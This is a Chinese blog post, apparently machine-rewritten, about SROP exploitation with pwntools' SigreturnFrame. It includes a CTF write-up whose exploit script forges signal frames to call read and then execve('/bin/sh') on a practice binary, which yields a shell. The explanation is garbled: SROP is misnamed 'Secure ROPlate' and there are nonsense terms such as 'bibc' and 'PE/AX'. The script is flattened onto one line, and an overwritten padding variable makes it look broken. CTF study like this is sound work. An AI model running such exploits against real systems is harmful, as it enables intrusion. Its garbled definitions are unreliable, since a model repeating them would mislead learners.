
pwntools--SROP工具类SigreturnFrame使用详解
初始化环境:设置目标程序的架构(如AMD64或i386)。 自定义寄存器值:通过类似 链式系统调用:将 构造阈值栈:将伪造的栈和gadgets数据添加到frame对象中,确保利用过程能够顺利进行。 处理栈溢出:通过将伪造的栈数据发送到远程程序,触发信号处理,并恢复修改后的寄存器值。
发布日期:2021-05-15 04:19:14
浏览次数:22
分类:精选文章
本文共 1792 字,大约阅读时间需要 5 分钟。
SROP技术是一种基于信号处理机制的高级漏洞利用方法,它能够通过修改系统寄存器实现远程代码执行。下面是对SROP及其实现工具SigreturnFrame的详细解释:
SROP的概念
SROP(Secure ROPlate)是一种利用表格溢出的方法,通过将程序执行流程(EIP或EAX)设置为特定的系统调用,以触发预定义的安全功能。它的核心原理是在信号处理过程中,系统会将用户态上下文和寄存器值保存到用户态栈中,然后恢复这些值。这种机制使得SROP不仅能够修改返回地址,还能重新定制所有寄存器的值,从而实现更加灵活的系统调用。
SigreturnFrame的使用
PWnTool中的SigreturnFrame类简化了SROP利用的实现过程。以下是使用该工具的一些关键步骤:
frame.rax
这样的属性,设置需要修改的寄存器。syscall
gadget链添加到frame对象中,确保sigreturn执行后能够触发预期的系统调用。一个示例
考虑一道基于SROP漏洞的远程调试题目,目标是实现execve
系统调用以获取命令行接口。攻击步骤如下:
程序分析:
- 检查程序的安全性(如NX位)以确定攻击面。
- 分析vuln函数发现其涉及read和write函数的使用。
- 利用write函数读取栈中的数据并泄露栈地址。
利用SROP:
- 通过构造特定的gadgets链触发sigreturn系统调用。
- 伪造栈数据以设置目标程序的寄存器值,包括
execve
的参数。 - 通过
read
和execve
系统调用的组合,读取并执行命令行脚本。
写PE/AX中的结构:
- 确定bin字符串的位置,并将读取结果存储在针对性的栈地址。
- 针对不同版本的bibc测试框架,确保代码兼容性。
WP代码示例
以下是利用SROP实现远程PWN的示例代码:
from pwn import *p = process("./ciscn_s_3") # 地方测试# p = remote("node3.buuoj.cn", 25862) # 远程测试syscall = 0x0400517 # 反射 ))sigreturn = p64(0x04004da) + p64(syscall)sh = 0x0601038 # "/bin/sh\x00"存储位置frame = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = shframe.rsi = 0frame.rdx = 0frame.rip = syscallstack_frame = b"/bin/sh\x00" + sigreturn + bytes(frame)# 读取真实的栈数据,并设置RSP指针frame = SigreturnFrame()frame.rax = constants.SYS_readframe.rdi = 0frame.rsi = sh # 目标堆上的位置frame.rdx = len(stack_frame)frame.rip = syscallframe.rsp = sh + 8 # 设置栈顶指针以访问bin字符串pad = cyclic(0x10)pad += sigreturn + bytes(frame)pad = cyclic(0x10) + bytes(frame)# 发送构造的栈数据以触发利用p.send(pad)# 读取真实的栈数据并输出p.send(stack_frame)p.interactive()
总结
SROP技术的核心优势在于其灵活性,能够修改所有寄存器,从而实现高度定制化的系统调用。然而,其依赖于特定版本的libc和内核,这可能导致在不同环境中需要进行适配和调整。通过掌握SigreturnFrame工具,可以显著简化SROP利用过程,使其成为安全研究和漏洞利用中的一个强大工具。
发表评论
最新留言
表示我来过!
[***.240.166.169]2025年04月20日 03时21分33秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
页面置换算法
2019-03-11
文件系统的层次结构
2019-03-11
减少磁盘延迟时间的方法
2019-03-11
vue(渐进式前端框架)
2019-03-11
权值初始化和与损失函数
2019-03-11
案例讨论
2019-03-11
算法的伪码表示
2019-03-11
主定理的应用
2019-03-11
最优装载问题
2019-03-11
课程总结
2019-03-11
CMake的主体框架
2019-03-11
软件工程应用
2019-03-11
数据科学
2019-03-11
函数与高级变量
2019-03-11
注册页面案例
2019-03-11
np.bincount(x)的简单解释
2019-03-11
LeetCode Top-100 T22-括号生成
2019-03-11
vscode设置eslint保存文件时自动修复eslint错误
2019-03-11
JAVA 多线程
2019-03-11
牛客-链表中环的入口节点(Java)
2019-03-11